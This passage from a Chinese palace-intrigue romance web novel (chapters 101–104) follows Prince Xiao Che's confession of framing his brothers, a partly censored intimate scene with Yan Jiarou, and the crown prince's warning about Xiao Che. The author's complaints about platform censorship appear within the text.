“我跟他不一样,况且颜颜亲口对我说,要为我生儿育女,所以,萧家不可能绝后。” “三弟,你……”萧衍微微皱眉,直觉萧彻这话有些怪异,却一时又抓不住究竟是哪里不对。 萧彻仍是笑着,没有给萧衍足够反应的时间,便继续说道:“至于二哥说你担心我……” “二哥,你不必担心我,若非要担心,还是担心担心萧珏吧。” “你说你不甘心一时输给了萧珏,二哥,你放心,届时我会为你报仇的。” 萧衍眉头紧锁,心中的那种怪异之感越来越强烈。 他吞咽了一口口水,听见自己的声音涩然地响起:“……三弟你,怎么为我报仇?我为何不必担心你,要担心萧珏啊。” 萧彻倏地笑了,烛火摇曳,他的一张脸隐在半明半暗的光线下,神情难辨,颇有几分摄人之感。 他道:“因为,我会取代你和萧珏,成为大魏朝唯一的太子,未来的天子啊。” 萧衍瞳孔骤缩。 第102章 第102章“宝宝,有没有想我……… 萧衍不可置信地看着他:“三弟你……你说什么?” “我说,”萧彻微微一笑,声音有一种轻飘的渺然:“萧珏成了废人,而二哥你……啧,又成了庶人,这太子之位,你说,会落到谁的头上?” 耳中嗡嗡作响,又像是骤然浸入了湖底,四周漫天的湖水都灌进了耳中,周遭一切声音都变得混沌而遥远。 萧衍颤动着嘴唇,过往的种种疑点此刻全都在脑海中一一浮现。 那些想不通的事,这时也全都串联了起来。 为什么萧彻明明说已经摆平了薛润一事,这事却依然会传到父皇的耳中? 为什么“坠马”一案,萧珏之前明明什么都查不到,却骤然之间掌握了所有证据? 甚至……为什么那日在淮州花楼,薛润会忽然一改平日里卑躬屈膝之态,作癫狂之状,与他抢花遥?明明整个人狂躁疯癫,却偏偏反应迟缓,以致于他失手将他打死? 一切的一切,难道从头到尾,都是萧彻设下的局? 如果是这样,那么一切就都解释得通了。 萧衍猛地伸手揪过他的衣襟,逼近了他,胸膛剧烈起伏:“是你,一切都是你干的,是不是?!” “第一次我设计让萧珏坠马,这件事只有你知道,你说已经帮我销毁了那匹疯马,既如此,怎么时隔数月,萧珏会再次找到证据,证明这两次坠马都是人为,且给马匹下的都是同一种会令马匹发狂的香料?” “你根本没有销毁那匹疯马,是不是?第二次设计坠马,我也是全听你的吩咐,用了你的人,按照你说的时机……你自然是什么都清楚……是你……是你故意让萧珏发现这一切的,是不是?!” “还有在淮州,薛润的事也是你一手安排的,是不是?我说呢,花遥那贱人怎么会有胆子敢算计我,事后更是宁可毁了容貌,也不肯招供半个字,到底是受了谁的蛊惑……现在想来,普天之下,也只有你有这个本事了,我早该想到的……” “一切都是你布下的局……萧彻,枉我真心待你,你就是这样回报我的?!” 萧彻抬手将萧衍攥着他衣领的手轻轻摘了,唇角勾起,幽幽地道:“二哥,这么多的蹊跷之处,你居然到现在才怀疑我——你这么相信我,我真是感动得很啊。” “你!萧彻!”萧衍死死地盯着他,目眦欲裂:“你怎么敢这么对我!我这么信你,你怎么能这么对我!我从不是什么重情重义之人,可这仅存的几分真心,全都栽在你的身上了,我待你这么好,你怎么能这么对我?!” “为什么?你为什么要这么做?你要什么我不能给你……我登基之后,会给你封地,你自去做你的闲散王爷,逍遥快活,你要小嘉柔,我也会给你们举办一个盛大的婚礼,让你们风风光光地成婚……你到底为什么要这么做?为什么要背叛我……” 萧彻极短促地笑了一声,跳跃的烛火映照在他的瞳孔深处,光影明明灭灭:“我想要那太子之位,二哥也能给我么?” “你……” 萧彻唇边虚浮起一点笑意,声音渺然:“二哥,要想做到那个位置,我只能如此。” “同样是父皇的儿子,萧珏和你都有机会坐上那个位置,我为什么 不能?” “母妃的遗愿,我也该替她去完成了。” “还记得我母妃是怎么死的么?那碗参汤和那幅浸了百濯香的刘松年赝品,是你和萧珏前后送来的,若说我母妃的死和你二人毫无干系,二哥,我是不信的。” 萧衍一愣:“你怀疑是我谋害了贵妃?这怎么可能呢?我和她无冤无仇……” “即便你不是主谋,也是帮凶。二哥,你那死去的母后想谋害我母妃,这事连你也不得不认。” 萧衍:“可那事若真是她所为,她为的也是萧珏那废物,这与我何干?!” “即便她为的是萧珏,可你也做了帮凶。不管你究竟是否知情,我母妃的死,跟你们脱不了干系。” “事已至此,二哥,我还愿意留你一条命,让你尽可能舒服地过完余生,已是全了我们兄的手足之情了。” 他最后看了他一眼,淡淡道:“二哥,好自为之……望自,珍重。” 说完便转身欲走,萧衍却忽然叫住他道:“等等!” 萧彻脚步一顿:“……二哥还有事?” “萧彻,事到如今,我也只问你一句,”萧衍看着他的背影,滚动了喉结:“……这么多年的手足之情,难道全是假的?你可曾有过一刻,把我当做你的二哥?” 萧彻背对着他,斜投在地面上的影子随着烛火轻轻晃动。 他负身而立,默然片刻之后,忽然开口叫了他一声:“二哥。” “事到如今,再问这些,还有意义么?” 萧衍闻言握紧了拳头,眼中迸射出怨毒的目光,忽然吃吃笑了起来。 “萧彻,我诅咒你,有朝一日,也会一尝真心被人践踏,被至亲之人背叛,是何种滋味!哈哈哈哈……” 凄厉的笑声在牢房上方久久盘桓,伴随着一字一句恶毒的诅咒,颇有几分阴森瘆人之感。 萧彻喉结滑动,到底没说什么,抬腿走了。 萧衍重新跌坐回阴暗的墙角,神情一片灰败,身子靠在冰冷的石壁上,缓缓地闭上了眼。 而就在牢房另一侧,灯光未曾照亮的阴影里,在萧彻走后,缓缓现出了一角斓袍,上面用金线绣的四爪蟒栩栩如生。 —— 颜嘉柔很快也听说萧衍出事了,似乎是跟太子哥哥坠马一案有关,还有就是他在淮州犯下的事,不知怎么,也传到了圣上的耳中。 她觉得奇怪,淮州的事,萧彻不是已经帮他摆平了吗?圣上怎么还会得知呢? 却也没有多想,只觉得二哥如今获罪流放,黔州路远,此去一别,恐怕今后再难相见,她想到此处,不由得鼻尖一酸,决定无论如何,总要在临别前夕再探望他一番。 谁知萧彻却不许她去。 他将她抱在怀里,故意吓她道:“……我已经去过一趟牢房了,你猜我都看见了什么?” 颜嘉柔听他这般语气,下意识的有些不安:“什……什么?” “兔子一般大小的老鼠,还有小兔手掌大小一般的蜘蛛……对了,我去时那老鼠正在啃食东西,我走近瞧了,你猜我见到了什么?它竟然……在啃食人的手指啊……” 说着拿过颜嘉柔的手,将手指一根根掰开:“喏,就跟小兔的手指一般大,一根手指,眨眼间便啃食完了,咬到骨节时,还会发出脆响……小兔想去见老鼠么,让它也咬一下你的手指?” “啊!” 小姑娘被吓得面无人色,尖叫着躲进萧彻的怀里:“不……不要……不要咬我……我的手指一点都不好吃的……” 萧彻轻拍着她的后背,闻言勾唇道:“那就别去。” “地牢是什么地方,阴暗潮湿,不见天日,到处都是鼠虫,小兔白白软软的,去那种地方做什么?” “可……可是我想去探望二哥,虽说他做了错事,害太子哥哥坠马重伤,可他到底是我的二哥,待我也一向很好,他如今即将被流放,相见无期,我总要去与他道别的……” 萧彻搭下眼帘,沉吟道:“想要见他也未必要去地牢,等他启程去黔州那日,你再去见他不就是了。牢房腌臜之地,你去那里,又怎能好好话别?” 小兔一想也是,当即便点头道:“嗯!那就等那日!” 她想了想又道:“听说流放那日他们天没亮就启程了,那我前一天一定要早一点睡才行,可万万不能起迟错过了!” 可惜那天晚上,她注定不能早早歇息。 因为她洗漱完,刚要上床歇息时,萧彻来了。 腰间忽然横上一只手臂,后背猛地撞上温热坚硬的胸膛,她被吓了一跳,刚要呼喊,鼻尖却漫上了熟悉的气息,她眨了眨眼,试探道:“……哥哥?” 来人闷笑一声,从背后环住她,弯腰将下颌搁置在她的肩上,嗓音慵懒:“是我,小兔。” 她有些吃惊地转身,红唇微张:“哥哥……这么晚了,你怎么来了?” “我不能来么?” “没有,只是……这么晚了……” “放心,没人看见我来。” 颜嘉柔眨了眨眼:“唔,你有什么急事么?” 萧彻缓缓眯起了眸子:“怎么,没急事便不能来找你了?” “哥哥,我不是这个意思……” 萧彻轻笑了声:“最好是这样。” 一面说着将手伸进她的xie衣内,轻咬着她的耳廓,哑声道:“谁说我没有急事了,这便是急事……宝宝,有没有想我……” 第103章 第103章“小观音,你渡渡我吧…… 颜嘉柔雪白的脸颊渐渐泛上粉色,浓密卷翘的眼睫轻轻颤动,嘤咛了一声,小声提醒他道:“哥哥,我……我前不久……才刚刚取过解药……” 萧彻眉梢一扬,“哦?”了一声,要笑不笑地道:“什么意思?自己吃饱了便不管我了?” “不……不是,我是说,我才刚刚取完解药,应该能撑几日,等我发作时,哥哥你再来帮我,就可以了……” 萧彻眯起眼眸:“这不就是一个意思?你的怪病没有发作,便不许我来找你,是不是?” 他揉按着她的肩头,将她扳了过来,伸手刮蹭了她的鼻尖:“小没良心的。也只有犯病了才会想起我,我帮你治了病,眼下你却不肯治我的病么?” 颜嘉柔稀里糊涂的,也没怎么好好算这笔账,只觉被他说得有几分羞愧,下意识地反驳道:“没……没有……我哪有这样……” 不过萧彻说她不肯治他的病? 她抬起头,有些担忧地看着他:“哥哥,你生病了么?” 萧彻“嗯”了一声,神情有几分严肃:“病入膏肓了。” 颜嘉柔被吓了一跳,一双小手紧紧握住他的手,连忙追问道:“啊?什么病啊……请过太医了么?” “没有,这病太医治不了。”删的太多了不让保存了我必须这样凑字数 “这么严重?”颜嘉柔眼圈瞬间就红了,泪水在眼眶里打转,眼看就要落下来:“呜呜……萧彻,你别吓我……到底是什么病啊……” 萧彻忽然弯唇笑了,极为不正经地道:“是为颜颜害了相思病,解铃还须系铃人,我的病,病入膏肓,药石无灵,只有皇妹能治。” 颜嘉柔一愣,等反应过来后忍不住抬手去捶打他:“萧闻祈,你坏死了!” ,, 颜嘉柔自认并未收着力道,可她的那些捶打,对萧彻而言,软绵绵的与调情也没什么分别…… 小兔哪里都软,连打人都是这般软绵绵的。 这般软的身子,就应该被他压在榻上狠狠。才对。 他由着她出气,唇边始终噙着笑意,甚至她每打他一下,他都觉得更受用一分,也更为兴奋了。 等她打累了,他才捏上她的手腕,低头亲吻了她的手指,勾唇道: “是,我坏,皇妹好,那我的好皇妹,能不能帮帮三哥?” 他一边说着,一边握着她的手慢慢…… 颜嘉柔懵懂地由他引导着,直到触到……全删,才像是被烫到一般猛地缩回了手,原本泛着粉红的面颊此时又涨红了三分,耳尖更是红得仿佛能够滴血:“你……你怎么又……” 萧彻挑眉,唇边噙了抹玩味的笑,故意问她:“又……又怎么了,嗯?” 小姑娘没他这么不要脸,只低了头,小声咕哝了句:“哥哥,它怎么总这样……全删…”几乎她每次碰到他那个地方,都是这个样子,萧彻的身子,真的没问题么,怎么动不动就…… “这有什么,很奇怪么?” 他凑了过来,……全删……:“因为我一见到皇妹,就。了啊……” 颜嘉柔再 不料他会忽然说出这等荤话,这样的直白……实在让人羞耻极了,唇瓣颤颤巍巍地道:“你……你下流……” “我下流?”萧彻意味不明地轻笑了下,慢条斯理地…… “宝宝,那日在假山,你求着我帮你的时候,可不是这么说的。” 颜嘉身子一向……尤其得了怪病之后,更是如此,被审核逼疯怒删两百 这时身子便渐渐……萧彻适时将她揽入怀里…… “萧彻,别……” 萧彻挑眉,手指从……:“都这样了,还不要么。” 颜嘉柔眨了眨眼,可怜兮兮地看着他:“我明早要去见二哥,今晚要早些歇息才行……” “哦?只想去见二哥,不想管三哥了?” “没有……怎么会不管三哥呢?”她圈着他的脖颈轻轻摇晃道:“明晚,明晚好不好?” “不好,”萧彻轻轻舔咬她颈侧白嫩的软肉,含混地道:“我就要今天。不止今天,我要每天都。你,一刻也等不了了。” 颜嘉柔有些为难:“哥哥……” 她轻轻蹙起了眉,有些怀疑又有些担忧地道:“你不会,真的生病了吧?” “嗯?” “就是……我听说,有一种病,叫做//。性//.yin,就是对房事有瘾,每天都必须那样……才行……”小兔咬着手指,狐疑地道:“你不会,就是害了这种病吧?”所以才每天都像一只发//。情的公狗一样。 萧彻眯起眼睛,见她一脸认真,陡地被被气笑了:“是啊,我就是对房事有瘾,你就等着被我干死在床上吧。” 颜嘉柔一怔,小心翼翼地问:“哥哥,你生气了么?” 萧彻懒得搭理她:“说你有病你生不生气?” 颜嘉柔眼睫轻颤,声音绵软地央著他:“你别生气了,我说着玩儿的。”仔细想想,兰陵人好像天性便热衷此道,所以萧彻这样,应该是正常的,不算是有病。 何况他此前二十年为了她都不曾碰过女人,如今骤然开了荤,一时控制不住也是有的。 她可不想再惹他生气了,每次都要哄好久,她简直对他生气这件事有阴影了。 “对不起嘛,哥哥,我以后不乱说话了,你别生我的气了。” “我不是太聪明,你不要跟我计较嘛。别生气,哥哥……” 萧彻睨了她一眼,散漫地笑了:“就口头上道歉啊,行动上没什么表示?” 颜嘉柔自然知道他的意思,支支吾吾地道:“可是二哥……” 萧彻“啧”了一声,伸手捏过她的下巴,问她道:“二哥好还是三哥好,嗯?” “这……这怎么能比嘛……” “都是哥哥,怎么不能比?” “嗯……二哥是哥哥,三哥不一样……” “哦?”萧彻抬眉,饶有兴味地问:“怎么不一样了?” 颜嘉柔红着脸道:“你……我早就,把你当做我的夫君了……” 听到想要的答案,萧彻心情顿时好了不少,拇指摩挲着她水光淋漓的唇瓣,继续循循善诱:“那夫君好还是二哥好?” “这……自然是夫君好了……” “哦?”萧彻弯唇道:“夫君哪里好?” “嗯……哪里都好……” “那既然我这么好,皇妹便帮帮我吧。” “我替皇妹治病多次,那般卖力,如今我为皇妹害了相思,又得了性//.yin之症,十分煎熬,投桃报李,皇妹难道不该帮帮我?” 颜嘉柔红唇微张,美眸浮着水汽,一脸的茫然:“性//.yin?” 萧彻笑微微地道:“不是皇妹你方才说的?怎么,这么快就不认账了?” “呜呜……”颜嘉柔简直是有口难言,这确实是她说的不假,可那是她随口说的么……兰陵人生性如此,不算有性//.yin,他怎么忽然当真了呢? 是了,一定是故意的,原来是在这里等着她呢。 萧彻握着她的手,引导着她慢慢往下,哑声道:“皇妹,它也很想你,你便忍心看它如此么。” 他将下颌搁置在她的颈窝,轻轻蹭了蹭:“皇妹,父皇总说你心善,看到一只兔子受伤也会伤心难过,非要停下来为它包扎伤口,还送了你个诨号,叫做小观音……” “小观音,眼下我为你害病至此,你怎么忍心?你渡渡我吧……” 颜嘉柔最后实在被他磨得没办法了,只得松口答应了:“……那你明早,可要记得叫我……” 萧彻低头亲吻了她的额头,笑得意味深长:“好。” —— 帐幔轻垂,影影绰绰可以望见床上两道交缠的身影。 床榻……,混着……,在寂静的殿内显得尤为清晰。全删了清汤大老爷 颜嘉柔与萧彻十指交扣……她娇娇地叫着“哥哥,……”全删 正是最……的关头,萧彻却忽然全删别锁我了这段都删了为什么还锁 她张开迷蒙的双眼,整个人染上……审核我不懂女主不能像桃花吗,这也锁我?,漂亮又娇艳,像是五月桃花,已经开到烂熟,最是靡艳之际。 红唇微张,……全删……有些无措地扭动……:“怎么了?”催着他道:“哥哥……” “没什么,只是突然想到一件事,想你答应我。”萧彻滚动了一下喉结,喉结染上了薄红,显得愈发地大,他的呼吸很乱,俊脸流露出……之色,显然也不好受:“小兔,你记住,以后无论发生什么事,你都要相信我,旁人的话,无论是谁,都不可以轻信,你只能信我,知道么?” 颜嘉柔被……连忙哭着道:“这世上我最爱你,自然也只信你……哥哥……全删……,求你……” 听到了满意的回答,萧彻弯唇亲了亲她,这才平稳了气息,蓄力送她了一个小死。 这一通折腾直到天将明时才堪堪止歇,萧彻的确在早上叫了她,却是用……,颜嘉柔醒来不久后便再次晕了过去。 等她再次醒后,身边空无一人,萧彻早不知什么时候走了,外头日头已上三竿,她想了想,还是忍着……起床出门了。 可惜等她赶去时,萧衍他们早就启程离宫,不见踪影了,眼下估计都已经出了城门。删的太多了字数掉了一档不让保存所以…… 没见到萧衍最后一面,她难免有些失落,在原地怅然地站了许久,一转身,却遇见了萧珏。 第104章 第104章“你觉得,他会选崔…… 已是快入秋的天气,宫墙根边的青石砖上浮着一层薄霜。颜嘉柔赶到长乐门时,檐角的铜铃正被秋风撞得叮咚作响。 金吾卫的玄甲映着天边惨白的日头,她望着空荡荡的丹凤大街,绣着孔雀羽线的裙裾被风卷起,像一只翻飞的蝶。 “卯时一刻就动身了。”守门的侍卫恭声道:“外面风大,还请公主早些回去罢。” 心底涌起一阵酸涩,她攥紧了袖口。 忽然有些茫茫然地想到:二哥的玉冠该被摘去了罢?流徙三千里的人犯,只能戴荆冠,穿赭衣,脚踝上还要拴铁链。这一路上,该是十分辛苦。 “嘉柔。” 一道温润熟悉的声音传来,颜嘉柔一愣,抬 头正好与他的视线相交——是萧珏。 他的唇边噙着淡笑,朝她慢慢走了过来。 颜嘉柔不防在这里碰到萧珏,微微一怔,下意识地道:“太子哥哥,你也来送二哥么?” 说完才反应过来他二人是向来的死敌,虽是一母同胞,可毫无兄弟亲情可言,一时又恨不得咬掉自己的舌头。 果然听到萧珏冷淡道:“不是。” 颜嘉柔讪笑着点了点头,正要找个借口离开,不防萧珏突然开口,一双眼睛墨意沉沉地看着她,只道:“我是来找你的,皇妹。” 颜嘉柔愣了一下:“我?” “是啊,”萧珏微微笑起来,笑意却只是虚浮在脸上,于是这笑非但不觉和善,反而添了一种瘆人假面之感:“皇妹这几日都未曾来东宫看我,是很忙么?” “我……”她这几日都忙着哄萧彻,确然对他有些疏忽,不免有些心虚,低着头道:“我……我确实有些忙……” 说着像是为了怕他多想,不利于养病,颜嘉柔抬头,努力地扬起笑容:“等忙完这阵就好啦,本来这两日我便想去看望太子哥哥的,只是昨日睡得不太好,现下有些累,想先回去歇息,太子哥哥,我过两日再去看你,你先好好养病。” 说完便想离开,却在经过他身边时被他一把拽住了胳膊。 颜嘉柔有些错愕:“……太子哥哥?” 萧珏慢慢地转过了头,脸上阴阴地笑了:“皇妹,怎么一看到我,就想走啊。” 颜嘉柔瑟缩了一下,这样的萧珏,陌生得让她有些害怕,她下意识地便想要离开,只是手腕被他牢牢锢着,半分也挣脱不得:“太子哥哥,我……” 萧珏冷哼一声,手上略一用力,一把将她拽至跟前,两人一时离得极近,萧珏一眼就看到了她颈侧和胸前的那些暧日未红痕,一看便是被人口允咬所致,耀武扬威地烙在她雪白的肌肤上,仿佛挑衅一般,显得尤为刺目。 萧珏深吸一口气,只觉气血上涌,攥着她手腕的手不由得加大了力道,咬牙道:“昨夜没睡好?怎么个没睡好?是被萧彻。了整整一晚上,所以才没睡好吧?” “颜嘉柔,你看看你被他弄成什么样子了?不要命了吗?你再这般放纵,迟早被他弄死在床上,之前在宫外也就罢了,如今回了宫,居然还是如此。你们在宫里也敢乱来,真是好大的胆子……” “你不是答应过我,要陪在我身边的么?这才短短几日,你怎么又和他厮混在一起了?!” “我……”颜嘉柔眉心紧蹙,一时只觉疲累至极,只能哄骗他道:“我是因为……因为又犯病了,所以才……太子哥哥,我尚未与他成婚,便算是陪在你身边了,你不要多想了,且安心治病吧,身子快些好起来才是正经。” 萧珏闻言怔怔地看着她,少女容貌娇美,如今眉目间褪去了青涩,愈发有种别样的风情。 不知道是不是他的错觉,她好像出落得更为美貌动人了,像是得到了某种滋养。 他忍不住伸手抚上了她的脸颊,目露痴迷。 他觉得他一定是疯了,竟然在颜嘉柔说出那番话后松了一口气……虽然她和萧彻又勾搭在一起了,可她至少还愿意跟他解释,哪怕只是借口,他也愿意自欺欺人下去。 而且他自认为了解颜嘉柔,她骨子里也并不是那种出格放荡的女人,会和萧彻在宫里在乱来,除了兰陵人天生下贱,最擅勾引之事、惯会蛊惑人心之外,一定是那个怪病的原因。 便是得了那个怪病之后,颜嘉柔才会变心,才会为了萧彻背叛他。 只要帮她治好了那个怪病,他们一定可以回到从前的。 想通了这层之后,他闭了闭眼,内心终于得到了片刻的安宁。 他将颜嘉柔拥入怀里,下颌抵在她的发髻上,近乎喟叹似得道:“嘉柔,我知道,你如今对萧彻那般迷恋,全因怪病作祟。” “或许如今连你自己都分不清楚,但我了解你,我的嘉柔,决不是那种三心二意之人,你喜欢的,不过是他的身体,且还是在怪病的影响下才会如此。” “兰陵人天生一副惑人皮囊,又在床笫之事上颇有天分,虽然他们下贱,但这点连我也不能否认。你年纪小,第一个经历的人就是他,难免被他蛊惑,对其上瘾。但其实这并不是真正的喜欢,不过是贪恋鱼水之欢罢了。” “勾引你的人是萧彻,他能豁得出去,诱惑自然足够大,因此这事也并不能全怪你。放心,我会治好你的病的,我一定会治好你的病的……到那时,你就能重新回到我身边了,我也会尽快的治好我的伤,让我身下那东西长得更好,届时我也会让你满意的,你会更喜欢我的……” 颜嘉柔被他抱在怀里,脸颊枕在他的胸膛上,听着他温和有力的心跳声,心却渐渐成了一团乱麻。 她真的,只是因为怪病的作用,才会这么迷恋萧彻么?抑或是只是喜欢他的身体? 她此前一直认为她其实在很早以前就喜欢萧彻了,只是她自己并不知道,可是就算是喜欢,应当也是淡淡的,否则怎么会这么多年都没有察觉呢? 可如今她对萧彻的喜欢,简直到了走火入魔的地步。 那样的喜欢,就像是传闻中被下了蛊一样,他只要稍稍对她花些心思,她便完全控制不了自己。 为了他,她违背了许多原则,承受了道德的拷问,甚至后面什么都不顾了,这真的还是她么? 譬如正像萧珏说的那样,之前在宫外也就罢了,如今在宫内,且还是她没有发病、神志清醒的情况下,她便和萧彻在承欢殿…… 甚至她明明知道她第二天有要事,可被他磨了几下,最终还是由得他胡来了。 而且是在承欢殿,她一直生活的地方,在那种地方和萧彻做那样的事…… 她实在是……有些做不出来。 何况如今他们并未成婚,入了夜,萧彻过来她的寝殿跟她……算什么呢? 她知道,那些循规蹈矩的贵女是决计做不出来这种事的,旁的公主也不会在寝殿与人幽会偷情。 她只觉得羞耻极了。 萧彻彼时覆在她身上,手指勾缠着她的一缕乌发,忍不忘与她调笑:“承欢殿,小兔,怎么连寝殿的名字也这么勾人,嗯?” “承欢殿,便合该在我身下承欢。小兔,你说,是不是这样?” 颜嘉柔被欺负得泪水涟涟,哪有心思分辨他的歪理,只能“呜呜”着摇头。 神智混乱时,甚至分不清眼下究竟是在梦境当中还是真实发生,只因她被野狐咬伤之后,频繁梦到萧彻,梦中的他,便也是这么对她,只不过从来没有真的给过她…… 哪怕在梦境中,他也要一遍遍问她:“皇妹,看清楚了,我究竟是谁?” “要你的太子哥哥,还是,要我?” 这个时候,倘若她有一分的犹疑,他便倏然冷淡下来,随即化作一缕青烟消散了。 可如今的他,便要慷慨许多了,一次又一次地给她,她从前在哪些贵女堆里也不是没有听见过她们私下悄悄议论,三殿下有一半兰陵血脉,传闻在床笫之事上有过人之处,不仅迟寸非常可观,而且天赋极佳,最是销//,魂,也不知究竟是真是假,有哪个能消受得了? 若是能与之春风一度,便是不枉此生了。 她从前听到这些话时总觉她们作风实在大胆,虽说大魏民风开放,但她们也未免太开放了些!真是不害臊。 但如今颜嘉柔望着伏在她身上汗水淋漓的萧彻,不禁陷入了沉思。 “…………” 究竟是怎么到这一步的,有时候回想起来,就像是做了一场梦。 若不是她要脸,她还真想拿她和萧彻的事去贵女堆里炫耀上一番,想也知道她们是怎样一副肝肠寸断的表情,一直以为萧彻不近女色,没有女子能近得了他的身,他便是大家的,结果她早就近了,还近了多回,她们若是知道了,一定得怄死——谁让她们从前总因着萧彻给她不痛快。 可惜她还要脸。 不过她们一定做梦也想不到,最后和萧彻交颈缠绵的那个女子,竟会是她。 毕竟在所有人眼中,她和他一向是不折不扣的死对头,萧彻从来不会多给那帮贵女眼神,却总是盯着她的糗事言语欺负她,这不是讨厌到极点又是什么? 这叫怎么说,便是因缘际会,谁也料不到。 萧彻的滋味,她替她们尝过了,传闻果真不假,个中滋味确实消混,好处自然是人所周知,只是有些坏处,她们却未必知道…… 譬如眼下,他实在慷慨过了头,且不是她想不要 便可以逃脱的…… 她被弄得神志不清,迷迷瞪瞪之际,也曾将心中所想说漏了嘴:“我究竟是不是在做梦……” 萧彻一顿,挑眉玩笑道:“怎么,你从前总梦到和我做这事么?” 颜嘉柔软绵绵地“嗯”了一声,眼皮半掀,睨了他一眼,竟是十分的幽怨:“可你总不理我……” 萧彻喉结滚动,拇指摩挲着她的唇瓣,语气不自觉地柔了下来:“是我不好。” 他低头与她额头相抵,缓缓勾起唇角:“梦中的我不理你,这也没什么,如今加倍补偿回来就是了。” 他温柔地轻吻着她的唇角,哑声道:“那么,如你所愿。” 之后便是新一轮的征伐,颜嘉柔不知死了多少次,每一次快晕死过去时,想起自己方才神志不清时说漏的那几句话,都恨不能咬掉自己的舌头。 再回过神来时,她依然被萧珏温柔地环抱着,回想起昨夜与萧彻的疯狂,真像是做了一场银乱不堪的椿梦。 听了萧珏的这一番话,她如今也有些分不清她对萧彻究竟是一种什么样的感情,那般放纵、沉溺、失控,为他放弃原则、背叛萧珏,越来越不像她自己,真的只是因为太喜欢他了吗? 还是说,是因为那怪病再作祟? 不过这些都暂且不重要了,重要的是,不管是出于什么原因,她现在几乎被萧彻迷得神魂颠倒,根本离不开他。所以去纠结原因,似乎也没有这个必要。 至于真正的原因……除非有朝一日,她的怪病能被治愈,那个时候,她才能真正看清自己的心意吧。 正神思恍惚时,头顶上方忽然传来萧珏幽幽的一句问话:“你知道,萧彻昨日为什么勾着你不放么?” 颜嘉柔茫然地抬起了头。 萧珏轻轻摩挲着她的面颊,忽然神情莫测地一笑:“我问你,你今日是来做什么的?” 颜嘉柔不明所以,如实道:“是来送二哥的,怎么了?” “哦,那为什么来得这样迟?你难道不知道,他们卯时一刻便启程了么?” 颜嘉柔有些难以启齿:“我……” “你不必说,我也知道,萧彻勾着你折腾了一宿,你自然起不来了。那你又知不知道,他为什么这么做?” 颜嘉柔茫然地摇了摇头。 萧珏道:“因为,他不想你见到他,你一旦见到了萧衍,萧衍便会把什么事都告诉你。你以为萧衍为何会落到如今这般田地?还不是拜他那心爱的三弟所赐。” “你看,你从来都不了解萧彻,他今日能对他平日里最为亲近的二哥下手,焉知明日不会对你这个枕边人下手?” “从头到尾,都是利用罢了,你们都不过是他的一颗棋子。” 颜嘉柔猛地抬头,错愕地看向他:“你……你说什么……” 她摇头道:“不……不会的……二哥的事,和萧彻没有关系,是二哥在淮州失手打死了人,又一再地害你,所以才触怒了父皇,落得如今的下场,这是自作孽不可活,又怎么能怪萧彻呢?” 萧珏看着她,忽然幽幽地道:“你知道,今日在朝堂上发生了什么吗?” “近日流言四起,说萧彻并非贵妃亲子,他的身世另有隐情,今天的大朝会上,他便做了一场认祖归宗的好戏。” “知道姜嫣么?后宫里那个以容貌肖似贵妃而闻名的疯妃,萧彻认的,便是这门亲。” “人证物证俱全,又有父皇从旁作证,天衣无缝,连滴血认亲都安排上了,成功地让所有人都相信她就是萧彻的生母。” “另有一个叫贾唯的,是个寒门出生的官员,他今天在朝堂上可没少为萧彻说话,也不知我那位好三弟,是什么时候笼络了他。” “他借着萧衍的这件事,先是拍了父皇一通马屁,说什么‘圣上在萧衍一事上秉公处理,绝无半点偏私,足可见圣上的爱民之心和圣明果断,只是还有一事,万不能叫真正于社稷有功之人被草草埋没。” 他说着,脑海中不由得浮现出贾唯跪伏在大殿之上,额头触地,高声陈奏的场景—— “臣惶恐,斗胆启奏。” “陛下圣明,臣等寒门微末,蒙天恩得以立于朝堂,自当以社稷为重,以黎民为念。今日之事,关乎国本,臣不敢不言。” “淮州赈灾一事,天下皆知,灾银筹集、粥棚设立,皆赖三皇子殿下运筹帷幄,妙计频出。若非殿下心系苍生,亲力亲为,淮州百姓何以得救?然则,此等功劳,却因殿下昔日被误认为二皇子一党,尽数归于他人。臣等虽位卑言轻,却不敢不为之鸣不平。” “再者,修文馆之设,《舆地志》之编,皆乃殿下心血所聚。殿下广纳贤才,集结文士,为天下学子开一扇明窗,为后世留下一部典籍。此等功绩,岂能因身份之误而埋没?” “如今,殿下血脉之疑已清,姜妃娘娘乃士族之后,殿下亦为正统皇室血脉,非前朝余孽。陛下明鉴,殿下之才德,不该被埋没;殿下之功绩,应当为世人所见。臣等虽出身寒门,却深知殿下爱民之心、治国之能,愿以微躯为殿下请命,恳请陛下三思,予殿下一个机会,以展其才,以安天下。” “臣言尽于此,伏乞陛下圣裁。” 贾唯之后,又有不少寒门官员纷纷附议。 贾唯的这番陈奏,言辞恳切,句句掷地有声,的确找不出半分纰漏。 任谁听了都会为之动容的。 只是他口中的给萧彻一个机会,明眼人都能看出他要的到底是什么机会—— 一个继承大统的机会。 魏元帝闻言微微倾身,手指轻叩龙椅扶手,沉吟片刻,忽然朗声一笑:“好!好一个‘为天下请命’!” 他站起身来,步履沉稳,走下御阶,亲自扶起贾唯:“卿虽出身寒门,却心怀天下,敢为社稷直言,朕心甚慰。” 又道:“三皇子萧彻,淮州赈灾,修文馆设,《舆地志》编,皆是他心血所聚。朕虽居深宫,却非不知其功。” “三皇子之功,朕自当重赏;卿等之忠,朕亦铭记于心。望诸卿以此为鉴,为国尽忠,为民请命,方不负朕之所托。” 魏元帝虽未明说萧彻是否堪当大任,但大肆称赞了贾唯,很显然贾唯的这番话正说到了他的心坎上。 换言之,他是属意萧彻的。 附和贾唯的那帮寒门之士自不必多说,而一些善于察言观色、在萧彻洗清血脉争议之后便不再固守成见的官员,眼见魏元帝仍是属意萧彻、而二皇子被废、大皇子深陷“重伤要害、无法人道”,的传闻,眼见夺嫡无望,不知是为了讨好魏元帝,抑或是避免得罪未来的天子,也纷纷站起来为萧彻美言,歌颂其功绩。 一时萧彻在朝堂上风头无两。 记忆回笼,萧珏深深地做了一个吐息,这才堪堪压下上浮的戾气。 一睁眼,余光依旧透着阴鸷。 他轻轻抚摸着颜嘉柔的后背,握着她的肩头,将她稍稍推离开来,低头看着她道:“嘉柔,所以你眼下知道了吗,我坠马一事,获益者最大是谁,三个皇子中,不是萧衍,更不会是我,而是萧彻。” 颜嘉柔猛地睁大了双眼。 萧珏的手指从她的脸颊上抚过,幽幽地道:“我坠马重伤,伤了要害,如今流言愈演愈烈,都说我这太子之位即将不保,如今查出是萧衍所为,他亦被废黜,嘉柔,你看,同一件事,却能一举击垮两位皇子,幕后最大的受益人是谁?你仔细想想,便知道了。” 